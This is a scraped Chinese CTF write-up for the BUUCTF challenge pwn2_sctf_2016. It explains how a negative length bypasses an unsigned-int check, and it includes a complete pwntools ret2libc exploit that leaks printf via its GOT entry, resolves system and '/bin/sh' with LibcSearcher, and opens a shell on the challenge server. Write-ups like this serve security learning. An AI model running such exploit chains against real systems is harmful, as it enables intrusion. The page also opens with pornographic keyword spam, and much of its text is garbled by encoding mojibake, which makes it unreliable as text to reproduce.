日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[BUUCTF-pwn]——pwn2_sctf_2016

發(fā)布時(shí)間:2024/4/17 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [BUUCTF-pwn]——pwn2_sctf_2016 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

[BUUCTF-pwn]——pwn2_sctf_2016

  • 題目地址: https://buuoj.cn/challenges#pwn2_sctf_2016

老規(guī)矩還是先checksec一下,
在IDA中看看, 這個(gè)get_n(a, b)的作用就是讀入 b 個(gè)字符。將其合成的字符串賦值給a。


最常用的方法,也是我經(jīng)常使用的方法就是利用 libc庫 計(jì)算偏移。然后循環(huán)利用函數(shù)。只有printf函數(shù)可以打印, 找到需要用的地址。

思路

利用printf泄露printf的實(shí)際地址, 通過計(jì)算偏移,以此來找到system 和 ‘/bin/sh’
但是中間你會(huì)發(fā)現(xiàn)有個(gè)32的限制, 仔細(xì)觀察 變量類型你就會(huì)發(fā)現(xiàn) get_n的第二個(gè)參數(shù)的類型是 unsigned int 類型, int 類型的負(fù)數(shù), 在這里對應(yīng)的就是正數(shù), 而且還是很大的正數(shù)。可以用來繞過檢查。

注意不要如下寫, 里面有 %u 孩子在這里卡了一下

p.sendlineafter("Ok, sounds good. Give me %u bytes of data!\n", payload)

exploit

from pwn import * from LibcSearcher import * p = remote("node3.buuoj.cn",25008) elf = ELF("./pwn2_sctf_2016") context.log_level = 'debug'printf_plt = elf.plt["printf"] printf_got = elf.got["printf"] s_addr = 0x080486F8 vuln_addr = 0x0804852Fpayload = "a" * (0x2c + 0x4) + p32(printf_plt) + p32(vuln_addr) + p32(s_addr) + p32(printf_got) p.sendlineafter("How many bytes do you want me to read? ", '-1')p.sendlineafter("bytes of data!\n", payload) p.recvline()p.recvuntil("You said: ") printf_addr = u32(p.recv(4))print hex(printf_addr)libc = LibcSearcher('printf', printf_addr) libcbase = printf_addr - libc.dump('printf') system_addr = libcbase + libc.dump('system') binsh = libcbase + libc.dump('str_bin_sh')payload = "a" * (0x2c + 0x4) + p32(system_addr) + p32(vuln_addr) + p32(binsh)p.sendlineafter("How many bytes do you want me to read? ", '-1')p.sendlineafter("bytes of data!\n", payload) p.interactive()

遺憾

通過旁邊的do_thing函數(shù)可以找到 int 80 匯編指令。由于上一題碰到了, 這一題想試試是否可以通過execve("/bin/sh", NULL, NULL) 來解決, 我覺得應(yīng)該可以不知道, 你有沒有興趣嘗試一下, 做出來了。如果可以給我分享一下嗎 😃
希望你可以成功哦!!!
今年大年初一, 祝大家新年快樂, 平安喜樂 😃

總結(jié)

以上是生活随笔為你收集整理的[BUUCTF-pwn]——pwn2_sctf_2016的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。